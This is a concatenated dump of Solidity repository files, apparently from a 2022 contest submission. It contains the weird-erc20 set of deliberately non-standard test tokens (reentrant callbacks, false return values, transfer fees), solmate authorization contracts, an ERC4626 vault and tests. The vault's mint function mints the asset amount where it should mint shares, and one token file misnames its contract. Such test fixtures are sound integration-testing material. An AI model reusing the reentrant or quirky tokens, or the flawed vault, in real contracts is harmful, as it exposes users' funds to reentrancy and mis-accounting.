function _approve(address caller, address usr, uint wad) internal returns (bool) {
allowance[caller][usr] = wad;
emit Approval(caller, usr, wad);
return true;
}
// grabs the first word after the calldata and masks it with 20bytes of 1's
// to turn it into an address
function _getCaller() internal pure returns (address result) {
bytes memory array = msg.data;
uint256 index = msg.data.length;
assembly {
result := and(mload(add(array, index)), 0xffffffffffffffffffffffffffffffffffffffff)
}
return result;
}
}
contract TokenProxy {
address payable immutable public impl;
constructor(address _impl) public {
impl = payable(_impl);
}
receive() external payable { revert("don't send me ETH!"); }
fallback() external payable {
address _impl = impl; // pull impl onto the stack
assembly {
// get free data pointer
let ptr := mload(0x40)
// write calldata to ptr
calldatacopy(ptr, 0, calldatasize())
// store msg.sender after the calldata
mstore(add(ptr, calldatasize()), caller())
// call impl with the contents of ptr as caldata
let result := call(gas(), _impl, callvalue(), ptr, add(calldatasize(), 32), 0, 0)
// copy the returndata to ptr
let size := returndatasize()
returndatacopy(ptr, 0, size)
switch result
// revert if the call failed
case 0 { revert(ptr, size) }
// return ptr otherwise
default { return(ptr, size) }
}
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/src/Reentrant.sol
================================================
// Copyright (C) 2020 d-xo
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.6.12;
import {ERC20} from "./ERC20.sol";
contract ReentrantToken is ERC20 {
// --- Init ---
constructor(uint _totalSupply) ERC20(_totalSupply) public {}
// --- Call Targets ---
mapping (address => Target) public targets;
struct Target {
bytes data;
address addr;
}
function setTarget(address addr, bytes calldata data) external {
targets[msg.sender] = Target(data, addr);
}
// --- Token ---
function transferFrom(address src, address dst, uint wad) override public returns (bool res) {
res = super.transferFrom(src, dst, wad);
Target memory target = targets[src];
if (target.addr != address(0)) {
(bool status,) = target.addr.call{gas: gasleft()}(target.data);
require(status, "call failed");
}
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/src/ReturnsFalse.sol
================================================
// Copyright (C) 2017, 2018, 2019, 2020 dbrock, rain, mrchico, d-xo
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.6.12;
contract ReturnsFalseToken {
// --- ERC20 Data ---
string public constant name = "Token";
string public constant symbol = "TKN";
uint8 public constant decimals = 18;
uint256 public totalSupply;
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
// --- Math ---
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
// --- Init ---
constructor(uint _totalSupply) public {
totalSupply = _totalSupply;
balanceOf[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
// --- Token ---
function transfer(address dst, uint wad) external returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad) public returns (bool) {
require(balanceOf[src] >= wad, "insufficient-balance");
if (src != msg.sender && allowance[src][msg.sender] != type(uint).max) {
require(allowance[src][msg.sender] >= wad, "insufficient-allowance");
allowance[src][msg.sender] = sub(allowance[src][msg.sender], wad);
}
balanceOf[src] = sub(balanceOf[src], wad);
balanceOf[dst] = add(balanceOf[dst], wad);
emit Transfer(src, dst, wad);
return false;
}
function approve(address usr, uint wad) external returns (bool) {
allowance[msg.sender][usr] = wad;
emit Approval(msg.sender, usr, wad);
return false;
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/src/RevertToZero.sol
================================================
// Copyright (C) 2020 d-xo
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.6.12;
import {ERC20} from "./ERC20.sol";
contract ReentrantToken is ERC20 {
// --- Init ---
constructor(uint _totalSupply) ERC20(_totalSupply) public {}
// --- Token ---
function transferFrom(address src, address dst, uint wad) override public returns (bool) {
require(dst != address(0), "transfer-to-zero");
return super.transferFrom(src, dst, wad);
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/src/RevertZero.sol
================================================
// Copyright (C) 2020 d-xo
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.6.12;
import {ERC20} from "./ERC20.sol";
contract RevertZeroToken is ERC20 {
// --- Init ---
constructor(uint _totalSupply) ERC20(_totalSupply) public {}
// --- Token ---
function transferFrom(address src, address dst, uint wad) override public returns (bool) {
require(wad != 0, "zero-value-transfer");
return super.transferFrom(src, dst, wad);
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/src/TransferFee.sol
================================================
// Copyright (C) 2020 d-xo
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.6.12;
import {ERC20} from "./ERC20.sol";
contract TransferFeeToken is ERC20 {
uint immutable fee;
// --- Init ---
constructor(uint _totalSupply, uint _fee) ERC20(_totalSupply) public {
fee = _fee;
}
// --- Token ---
function transferFrom(address src, address dst, uint wad) override public returns (bool) {
require(balanceOf[src] >= wad, "insufficient-balance");
if (src != msg.sender && allowance[src][msg.sender] != type(uint).max) {
require(allowance[src][msg.sender] >= wad, "insufficient-allowance");
allowance[src][msg.sender] = sub(allowance[src][msg.sender], wad);
}
balanceOf[src] = sub(balanceOf[src], wad);
balanceOf[dst] = add(balanceOf[dst], sub(wad, fee));
balanceOf[address(0)] = add(balanceOf[address(0)], fee);
emit Transfer(src, dst, sub(wad, fee));
emit Transfer(src, address(0), fee);
return true;
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/src/TransferFromSelf.sol
================================================
// Copyright (C) 2017, 2018, 2019, 2020 dbrock, rain, mrchico, d-xo
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.6.12;
contract Math {
// --- Math ---
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
}
contract TransferFromSelfToken is Math {
// --- ERC20 Data ---
string public constant name = "Token";
string public constant symbol = "TKN";
uint8 public constant decimals = 18;
uint256 public totalSupply;
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
// --- Init ---
constructor(uint _totalSupply) public {
totalSupply = _totalSupply;
balanceOf[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
// --- Token ---
function transfer(address dst, uint wad) virtual public returns (bool) {
_transfer(msg.sender, dst, wad);
return true;
}
function transferFrom(address src, address dst, uint wad) virtual public returns (bool) {
if (allowance[src][msg.sender] != type(uint).max) {
require(allowance[src][msg.sender] >= wad, "insufficient-allowance");
allowance[src][msg.sender] = sub(allowance[src][msg.sender], wad);
}
_transfer(src, dst, wad);
return true;
}
function approve(address usr, uint wad) virtual public returns (bool) {
allowance[msg.sender][usr] = wad;
emit Approval(msg.sender, usr, wad);
return true;
}
// --- Internal ---
function _transfer(address src, address dst, uint wad) private {
require(balanceOf[src] >= wad, "insufficient-balance");
balanceOf[src] = sub(balanceOf[src], wad);
balanceOf[dst] = add(balanceOf[dst], wad);
emit Transfer(src, dst, wad);
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/src/Uint96.sol
================================================
// Copyright (C) 2017, 2018, 2019, 2020 dbrock, rain, mrchico, d-xo
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.6.12;
contract ERC20 {
// --- ERC20 Data ---
string public constant name = "Token";
string public constant symbol = "TKN";
uint8 public decimals = 18;
uint96 internal supply;
mapping (address => uint96) internal balances;
mapping (address => mapping (address => uint96)) internal allowances;
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
// --- Math ---
function add(uint96 x, uint96 y) internal pure returns (uint96 z) {
require((z = x + y) >= x);
}
function sub(uint96 x, uint96 y) internal pure returns (uint96 z) {
require((z = x - y) <= x);
}
function safe96(uint256 n) internal pure returns (uint96) {
require(n < 2**96);
return uint96(n);
}
// --- Init ---
constructor(uint96 _supply) public {
supply = _supply;
balances[msg.sender] = _supply;
emit Transfer(address(0), msg.sender, _supply);
}
// --- Getters ---
function totalSupply() external view returns (uint) {
return supply;
}
function balanceOf(address usr) external view returns (uint) {
return balances[usr];
}
function allowance(address src, address dst) external view returns (uint) {
return allowances[src][dst];
}
// --- Token ---
function transfer(address dst, uint wad) virtual public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad) virtual public returns (bool) {
uint96 amt = safe96(wad);
if (src != msg.sender && allowances[src][msg.sender] != type(uint96).max) {
allowances[src][msg.sender] = sub(allowances[src][msg.sender], amt);
}
balances[src] = sub(balances[src], amt);
balances[dst] = add(balances[dst], amt);
emit Transfer(src, dst, wad);
return true;
}
function approve(address usr, uint wad) virtual public returns (bool) {
uint96 amt;
if (wad == type(uint).max) {
amt = type(uint96).max;
} else {
amt = safe96(wad);
}
allowances[msg.sender][usr] = amt;
emit Approval(msg.sender, usr, amt);
return true;
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/src/Upgradable.sol
================================================
// Copyright (C) 2020 d-xo
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.6.12;
import {ERC20} from "./ERC20.sol";
contract Proxy {
bytes32 constant ADMIN_KEY = bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1);
bytes32 constant IMPLEMENTATION_KEY = bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1);
// --- init ---
constructor(uint totalSupply) public {
give(msg.sender);
upgrade(address(new ERC20(totalSupply)));
}
// --- auth ---
modifier auth() { require(msg.sender == owner(), "unauthorised"); _; }
function owner() public view returns (address usr) {
bytes32 slot = ADMIN_KEY;
assembly { usr := sload(slot) }
}
function give(address usr) public auth {
bytes32 slot = ADMIN_KEY;
assembly { sstore(slot, usr) }
}
// --- upgrade ---
function implementation() public view returns (address impl) {
bytes32 slot = IMPLEMENTATION_KEY;
assembly { impl := sload(slot) }
}
function upgrade(address impl) public auth {
bytes32 slot = IMPLEMENTATION_KEY;
assembly { sstore(slot, impl) }
}
// --- proxy ---
fallback() external payable {
address impl = implementation();
(bool success, bytes memory returndata) = impl.delegatecall{gas: gasleft()}(msg.data);
require(success);
assembly { return(add(returndata, 0x20), mload(returndata)) }
}
receive() external payable { revert("don't send me ETH!"); }
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/src/test.t.sol
================================================
// Copyright (C) 2020 d-xo
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.6.12;
import {DSTest} from "ds-test/test.sol";
import {ProxiedToken, TokenProxy} from "./Proxied.sol";
interface ERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
contract User {
ERC20 token;
constructor(ERC20 _token) public {
token = _token;
}
function transfer(address dst, uint amt) external returns (bool) {
return token.transfer(dst, amt);
}
function transferFrom(address src, address dst, uint amt) external returns (bool) {
return token.transferFrom(src, dst, amt);
}
function approve(address usr, uint amt) external returns (bool) {
return token.approve(usr, amt);
}
}
contract TestProxy is DSTest {
ProxiedToken underlying;
ERC20 proxy1;
ERC20 proxy2;
User user1;
User user2;
function setUp() public {
underlying = new ProxiedToken(type(uint256).max);
proxy1 = ERC20(address(new TokenProxy(address(underlying))));
proxy2 = ERC20(address(new TokenProxy(address(underlying))));
underlying.setDelegator(address(proxy1), true);
underlying.setDelegator(address(proxy2), true);
user1 = new User(proxy1);
user2 = new User(proxy2);
proxy1.transfer(address(user1), proxy1.totalSupply() / 2);
proxy2.transfer(address(user1), proxy1.totalSupply() / 2);
}
function testProxy(uint128 amt) public {
assertEq(proxy1.balanceOf(address(user1)), proxy2.balanceOf(address(user1)));
assertEq(proxy1.balanceOf(address(user2)), proxy2.balanceOf(address(user2)));
uint preBal1 = proxy2.balanceOf(address(user1));
uint preBal2 = proxy1.balanceOf(address(user2));
user1.transfer(address(user2), amt);
assertEq(proxy2.balanceOf(address(user1)), preBal1 - amt);
assertEq(proxy1.balanceOf(address(user2)), preBal2 + amt);
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/package.json
================================================
{
"name": "@rari-capital/solmate",
"license": "AGPL-3.0-only",
"version": "6.2.0",
"description": "Modern, opinionated and gas optimized building blocks for smart contract development.",
"files": [
"src/**/*.sol"
],
"repository": {
"type": "git",
"url": "git+https://github.com/Rari-Capital/solmate.git"
},
"devDependencies": {
"prettier": "^2.3.1",
"prettier-plugin-solidity": "^1.0.0-beta.13"
},
"scripts": {
"lint": "prettier --write src/**/*.sol"
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/shell.nix
================================================
let
pkgs = import (builtins.fetchGit rec {
name = "dapptools-${rev}";
url = https://github.com/dapphub/dapptools;
rev = "fb9476ded759da44c449eb391cc67bfb0df61112";
}) {};
in
pkgs.mkShell {
src = null;
name = "rari-capital-solmate";
buildInputs = with pkgs; [
pkgs.dapp
];
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/auth/Auth.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
/// @notice Provides a flexible and updatable auth pattern which is completely separate from application logic.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/auth/Auth.sol)
/// @author Modified from Dappsys (https://github.com/dapphub/ds-auth/blob/master/src/auth.sol)
abstract contract Auth {
event OwnerUpdated(address indexed user, address indexed newOwner);
event AuthorityUpdated(address indexed user, Authority indexed newAuthority);
address public owner;
Authority public authority;
constructor(address _owner, Authority _authority) {
owner = _owner;
authority = _authority;
emit OwnerUpdated(msg.sender, _owner);
emit AuthorityUpdated(msg.sender, _authority);
}
modifier requiresAuth() {
require(isAuthorized(msg.sender, msg.sig), "UNAUTHORIZED");
_;
}
function isAuthorized(address user, bytes4 functionSig) internal view virtual returns (bool) {
Authority auth = authority; // Memoizing authority saves us a warm SLOAD, around 100 gas.
// Checking if the caller is the owner only after calling the authority saves gas in most cases, but be
// aware that this makes protected functions uncallable even to the owner if the authority is out of order.
return (address(auth) != address(0) && auth.canCall(user, address(this), functionSig)) || user == owner;
}
function setAuthority(Authority newAuthority) public virtual {
// We check if the caller is the owner first because we want to ensure they can
// always swap out the authority even if it's reverting or using up a lot of gas.
require(msg.sender == owner || authority.canCall(msg.sender, address(this), msg.sig));
authority = newAuthority;
emit AuthorityUpdated(msg.sender, newAuthority);
}
function setOwner(address newOwner) public virtual requiresAuth {
owner = newOwner;
emit OwnerUpdated(msg.sender, newOwner);
}
}
/// @notice A generic interface for a contract which provides authorization data to an Auth instance.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/auth/Auth.sol)
/// @author Modified from Dappsys (https://github.com/dapphub/ds-auth/blob/master/src/auth.sol)
interface Authority {
function canCall(
address user,
address target,
bytes4 functionSig
) external view returns (bool);
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/auth/authorities/MultiRolesAuthority.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
import {Auth, Authority} from "../Auth.sol";
/// @notice Flexible and target agnostic role based Authority that supports up to 256 roles.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/auth/authorities/MultiRolesAuthority.sol)
contract MultiRolesAuthority is Auth, Authority {
/*///////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event UserRoleUpdated(address indexed user, uint8 indexed role, bool enabled);
event PublicCapabilityUpdated(bytes4 indexed functionSig, bool enabled);
event RoleCapabilityUpdated(uint8 indexed role, bytes4 indexed functionSig, bool enabled);
event TargetCustomAuthorityUpdated(address indexed target, Authority indexed authority);
/*///////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
constructor(address _owner, Authority _authority) Auth(_owner, _authority) {}
/*///////////////////////////////////////////////////////////////
CUSTOM TARGET AUTHORITY STORAGE
//////////////////////////////////////////////////////////////*/
mapping(address => Authority) public getTargetCustomAuthority;
/*///////////////////////////////////////////////////////////////
ROLE/USER STORAGE
//////////////////////////////////////////////////////////////*/
mapping(address => bytes32) public getUserRoles;
mapping(bytes4 => bool) public isCapabilityPublic;
mapping(bytes4 => bytes32) public getRolesWithCapability;
function doesUserHaveRole(address user, uint8 role) public view virtual returns (bool) {
return (uint256(getUserRoles[user]) >> role) & 1 != 0;
}
function doesRoleHaveCapability(uint8 role, bytes4 functionSig) public view virtual returns (bool) {
return (uint256(getRolesWithCapability[functionSig]) >> role) & 1 != 0;
}
/*///////////////////////////////////////////////////////////////
AUTHORIZATION LOGIC
//////////////////////////////////////////////////////////////*/
function canCall(
address user,
address target,
bytes4 functionSig
) public view virtual override returns (bool) {
Authority customAuthority = getTargetCustomAuthority[target];
if (address(customAuthority) != address(0)) return customAuthority.canCall(user, target, functionSig);
return
isCapabilityPublic[functionSig] || bytes32(0) != getUserRoles[user] & getRolesWithCapability[functionSig];
}
/*///////////////////////////////////////////////////////////////
CUSTOM TARGET AUTHORITY CONFIGURATION LOGIC
//////////////////////////////////////////////////////////////*/
function setTargetCustomAuthority(address target, Authority customAuthority) public virtual requiresAuth {
getTargetCustomAuthority[target] = customAuthority;
emit TargetCustomAuthorityUpdated(target, customAuthority);
}
/*///////////////////////////////////////////////////////////////
PUBLIC CAPABILITY CONFIGURATION LOGIC
//////////////////////////////////////////////////////////////*/
function setPublicCapability(bytes4 functionSig, bool enabled) public virtual requiresAuth {
isCapabilityPublic[functionSig] = enabled;
emit PublicCapabilityUpdated(functionSig, enabled);
}
/*///////////////////////////////////////////////////////////////
USER ROLE ASSIGNMENT LOGIC
//////////////////////////////////////////////////////////////*/
function setUserRole(
address user,
uint8 role,
bool enabled
) public virtual requiresAuth {
if (enabled) {
getUserRoles[user] |= bytes32(1 << role);
} else {
getUserRoles[user] &= ~bytes32(1 << role);
}
emit UserRoleUpdated(user, role, enabled);
}
/*///////////////////////////////////////////////////////////////
ROLE CAPABILITY CONFIGURATION LOGIC
//////////////////////////////////////////////////////////////*/
function setRoleCapability(
uint8 role,
bytes4 functionSig,
bool enabled
) public virtual requiresAuth {
if (enabled) {
getRolesWithCapability[functionSig] |= bytes32(1 << role);
} else {
getRolesWithCapability[functionSig] &= ~bytes32(1 << role);
}
emit RoleCapabilityUpdated(role, functionSig, enabled);
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/auth/authorities/RolesAuthority.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
import {Auth, Authority} from "../Auth.sol";
/// @notice Role based Authority that supports up to 256 roles.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/auth/authorities/RolesAuthority.sol)
/// @author Modified from Dappsys (https://github.com/dapphub/ds-roles/blob/master/src/roles.sol)
contract RolesAuthority is Auth, Authority {
/*///////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event UserRoleUpdated(address indexed user, uint8 indexed role, bool enabled);
event PublicCapabilityUpdated(address indexed target, bytes4 indexed functionSig, bool enabled);
event RoleCapabilityUpdated(uint8 indexed role, address indexed target, bytes4 indexed functionSig, bool enabled);
/*///////////////////////////////////////////////////////////////
CONSTRUCTOR
//////////////////////////////////////////////////////////////*/
constructor(address _owner, Authority _authority) Auth(_owner, _authority) {}
/*///////////////////////////////////////////////////////////////
ROLE/USER STORAGE
//////////////////////////////////////////////////////////////*/
mapping(address => bytes32) public getUserRoles;
mapping(address => mapping(bytes4 => bool)) public isCapabilityPublic;
mapping(address => mapping(bytes4 => bytes32)) public getRolesWithCapability;
function doesUserHaveRole(address user, uint8 role) public view virtual returns (bool) {
return (uint256(getUserRoles[user]) >> role) & 1 != 0;
}
function doesRoleHaveCapability(
uint8 role,
address target,
bytes4 functionSig
) public view virtual returns (bool) {
return (uint256(getRolesWithCapability[target][functionSig]) >> role) & 1 != 0;
}
/*///////////////////////////////////////////////////////////////
AUTHORIZATION LOGIC
//////////////////////////////////////////////////////////////*/
function canCall(
address user,
address target,
bytes4 functionSig
) public view virtual override returns (bool) {
return
isCapabilityPublic[target][functionSig] ||
bytes32(0) != getUserRoles[user] & getRolesWithCapability[target][functionSig];
}
/*///////////////////////////////////////////////////////////////
ROLE CAPABILITY CONFIGURATION LOGIC
//////////////////////////////////////////////////////////////*/
function setPublicCapability(
address target,
bytes4 functionSig,
bool enabled
) public virtual requiresAuth {
isCapabilityPublic[target][functionSig] = enabled;
emit PublicCapabilityUpdated(target, functionSig, enabled);
}
function setRoleCapability(
uint8 role,
address target,
bytes4 functionSig,
bool enabled
) public virtual requiresAuth {
if (enabled) {
getRolesWithCapability[target][functionSig] |= bytes32(1 << role);
} else {
getRolesWithCapability[target][functionSig] &= ~bytes32(1 << role);
}
emit RoleCapabilityUpdated(role, target, functionSig, enabled);
}
/*///////////////////////////////////////////////////////////////
USER ROLE ASSIGNMENT LOGIC
//////////////////////////////////////////////////////////////*/
function setUserRole(
address user,
uint8 role,
bool enabled
) public virtual requiresAuth {
if (enabled) {
getUserRoles[user] |= bytes32(1 << role);
} else {
getUserRoles[user] &= ~bytes32(1 << role);
}
emit UserRoleUpdated(user, role, enabled);
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/mixins/ERC4626.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
import {ERC20} from "../tokens/ERC20.sol";
import {SafeTransferLib} from "../utils/SafeTransferLib.sol";
import {FixedPointMathLib} from "../utils/FixedPointMathLib.sol";
/// @notice Minimal ERC4646 tokenized Vault implementation.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/mixins/ERC4626.sol)
/// @dev Do not use in production! ERC-4626 is still in the review stage and is subject to change.
abstract contract ERC4626 is ERC20 {
using SafeTransferLib for ERC20;
using FixedPointMathLib for uint256;
/*///////////////////////////////////////////////////////////////
EVENTS
//////////////////////////////////////////////////////////////*/
event Deposit(address indexed from, address indexed to, uint256 amount, uint256 shares);
event Withdraw(address indexed from, address indexed to, uint256 amount, uint256 shares);
/*///////////////////////////////////////////////////////////////
IMMUTABLES
//////////////////////////////////////////////////////////////*/
ERC20 public immutable asset;
uint256 internal immutable ONE;
constructor(
ERC20 _asset,
string memory _name,
string memory _symbol
) ERC20(_name, _symbol, _asset.decimals()) {
asset = _asset;
unchecked {
ONE = 10**decimals; // >77 decimals is unlikely.
}
}
/*///////////////////////////////////////////////////////////////
DEPOSIT/WITHDRAWAL LOGIC
//////////////////////////////////////////////////////////////*/
function deposit(uint256 amount, address to) public virtual returns (uint256 shares) {
// Check for rounding error since we round down in previewDeposit.
require((shares = previewDeposit(amount)) != 0, "ZERO_SHARES");
// Need to transfer before minting or ERC777s could reenter.
asset.safeTransferFrom(msg.sender, address(this), amount);
_mint(to, shares);
emit Deposit(msg.sender, to, amount, shares);
afterDeposit(amount, shares);
}
function mint(uint256 shares, address to) public virtual returns (uint256 amount) {
amount = previewMint(shares); // No need to check for rounding error, previewMint rounds up.
// Need to transfer before minting or ERC777s could reenter.
asset.safeTransferFrom(msg.sender, address(this), amount);
_mint(to, amount);
emit Deposit(msg.sender, to, amount, shares);
afterDeposit(amount, shares);
}
function withdraw(
uint256 amount,
address to,
address from
) public virtual returns (uint256 shares) {
shares = previewWithdraw(amount); // No need to check for rounding error, previewWithdraw rounds up.
if (msg.sender != from) {
uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.
if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - shares;
}
beforeWithdraw(amount, shares);
_burn(from, shares);
emit Withdraw(from, to, amount, shares);
asset.safeTransfer(to, amount);
}
function redeem(
uint256 shares,
address to,
address from
) public virtual returns (uint256 amount) {
uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.
if (msg.sender != from && allowed != type(uint256).max) allowance[from][msg.sender] = allowed - shares;
// Check for rounding error since we round down in previewRedeem.
require((amount = previewRedeem(shares)) != 0, "ZERO_ASSETS");
beforeWithdraw(amount, shares);
_burn(from, shares);
emit Withdraw(from, to, amount, shares);
asset.safeTransfer(to, amount);
}
/*///////////////////////////////////////////////////////////////
ACCOUNTING LOGIC
//////////////////////////////////////////////////////////////*/
function totalAssets() public view virtual returns (uint256);
function assetsOf(address user) public view virtual returns (uint256) {
return previewRedeem(balanceOf[user]);
}
function assetsPerShare() public view virtual returns (uint256) {
return previewRedeem(ONE);
}
function previewDeposit(uint256 amount) public view virtual returns (uint256) {
uint256 supply = totalSupply; // Saves an extra SLOAD if totalSupply is non-zero.
return supply == 0 ? amount : amount.mulDivDown(supply, totalAssets());
}
function previewMint(uint256 shares) public view virtual returns (uint256) {
uint256 supply = totalSupply; // Saves an extra SLOAD if totalSupply is non-zero.
return supply == 0 ? shares : shares.mulDivUp(totalAssets(), supply);
}
function previewWithdraw(uint256 amount) public view virtual returns (uint256) {
uint256 supply = totalSupply; // Saves an extra SLOAD if totalSupply is non-zero.
return supply == 0 ? amount : amount.mulDivUp(supply, totalAssets());
}
function previewRedeem(uint256 shares) public view virtual returns (uint256) {
uint256 supply = totalSupply; // Saves an extra SLOAD if totalSupply is non-zero.
return supply == 0 ? shares : shares.mulDivDown(totalAssets(), supply);
}
/*///////////////////////////////////////////////////////////////
DEPOSIT/WITHDRAWAL LIMIT LOGIC
//////////////////////////////////////////////////////////////*/
function maxDeposit(address) public virtual returns (uint256) {
return type(uint256).max;
}
function maxMint(address) public virtual returns (uint256) {
return type(uint256).max;
}
function maxWithdraw(address user) public virtual returns (uint256) {
return assetsOf(user);
}
function maxRedeem(address user) public virtual returns (uint256) {
return balanceOf[user];
}
/*///////////////////////////////////////////////////////////////
INTERNAL HOOKS LOGIC
//////////////////////////////////////////////////////////////*/
function beforeWithdraw(uint256 amount, uint256 shares) internal virtual {}
function afterDeposit(uint256 amount, uint256 shares) internal virtual {}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/src/test/Auth.t.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
import {DSTestPlus} from "./utils/DSTestPlus.sol";
import {MockAuthChild} from "./utils/mocks/MockAuthChild.sol";
import {MockAuthority} from "./utils/mocks/MockAuthority.sol";
import {Authority} from "../auth/Auth.sol";
contract OutOfOrderAuthority is Authority {
function canCall(
address,
address,
bytes4
) public pure override returns (bool) {
revert("OUT_OF_ORDER");
}
}
contract AuthTest is DSTestPlus {
MockAuthChild mockAuthChild;
function setUp() public {
mockAuthChild = new MockAuthChild();
}
function testSetOwnerAsOwner() public {
mockAuthChild.setOwner(address(0xBEEF));
assertEq(mockAuthChild.owner(), address(0xBEEF));
}
function testSetAuthorityAsOwner() public {
mockAuthChild.setAuthority(Authority(address(0xBEEF)));
assertEq(address(mockAuthChild.authority()), address(0xBEEF));
}
function testCallFunctionAsOwner() public {
mockAuthChild.updateFlag();
}
function testSetOwnerWithPermissiveAuthority() public {
mockAuthChild.setAuthority(new MockAuthority(true));
mockAuthChild.setOwner(address(0));
mockAuthChild.setOwner(address(this));
}
function testSetAuthorityWithPermissiveAuthority() public {
mockAuthChild.setAuthority(new MockAuthority(true));
mockAuthChild.setOwner(address(0));
mockAuthChild.setAuthority(Authority(address(0xBEEF)));
}
function testCallFunctionWithPermissiveAuthority() public {
mockAuthChild.setAuthority(new MockAuthority(true));
mockAuthChild.setOwner(address(0));
mockAuthChild.updateFlag();
}
function testSetAuthorityAsOwnerWithOutOfOrderAuthority() public {
mockAuthChild.setAuthority(new OutOfOrderAuthority());
mockAuthChild.setAuthority(new MockAuthority(true));
}
function testFailSetOwnerAsNonOwner() public {
mockAuthChild.setOwner(address(0));
mockAuthChild.setOwner(address(0xBEEF));
}
function testFailSetAuthorityAsNonOwner() public {
mockAuthChild.setOwner(address(0));
mockAuthChild.setAuthority(Authority(address(0xBEEF)));
}
function testFailCallFunctionAsNonOwner() public {
mockAuthChild.setOwner(address(0));
mockAuthChild.updateFlag();
}
function testFailSetOwnerWithRestrictiveAuthority() public {
mockAuthChild.setAuthority(new MockAuthority(false));
mockAuthChild.setOwner(address(0));
mockAuthChild.setOwner(address(this));
}
function testFailSetAuthorityWithRestrictiveAuthority() public {
mockAuthChild.setAuthority(new MockAuthority(false));
mockAuthChild.setOwner(address(0));
mockAuthChild.setAuthority(Authority(address(0xBEEF)));
}
function testFailCallFunctionWithRestrictiveAuthority() public {
mockAuthChild.setAuthority(new MockAuthority(false));
mockAuthChild.setOwner(address(0));
mockAuthChild.updateFlag();
}
function testFailSetOwnerAsOwnerWithOutOfOrderAuthority() public {
mockAuthChild.setAuthority(new OutOfOrderAuthority());
mockAuthChild.setOwner(address(0));
}
function testFailCallFunctionAsOwnerWithOutOfOrderAuthority() public {
mockAuthChild.setAuthority(new OutOfOrderAuthority());
mockAuthChild.updateFlag();
}
function testSetOwnerAsOwner(address newOwner) public {
mockAuthChild.setOwner(newOwner);
assertEq(mockAuthChild.owner(), newOwner);
}
function testSetAuthorityAsOwner(Authority newAuthority) public {
mockAuthChild.setAuthority(newAuthority);
assertEq(address(mockAuthChild.authority()), address(newAuthority));
}
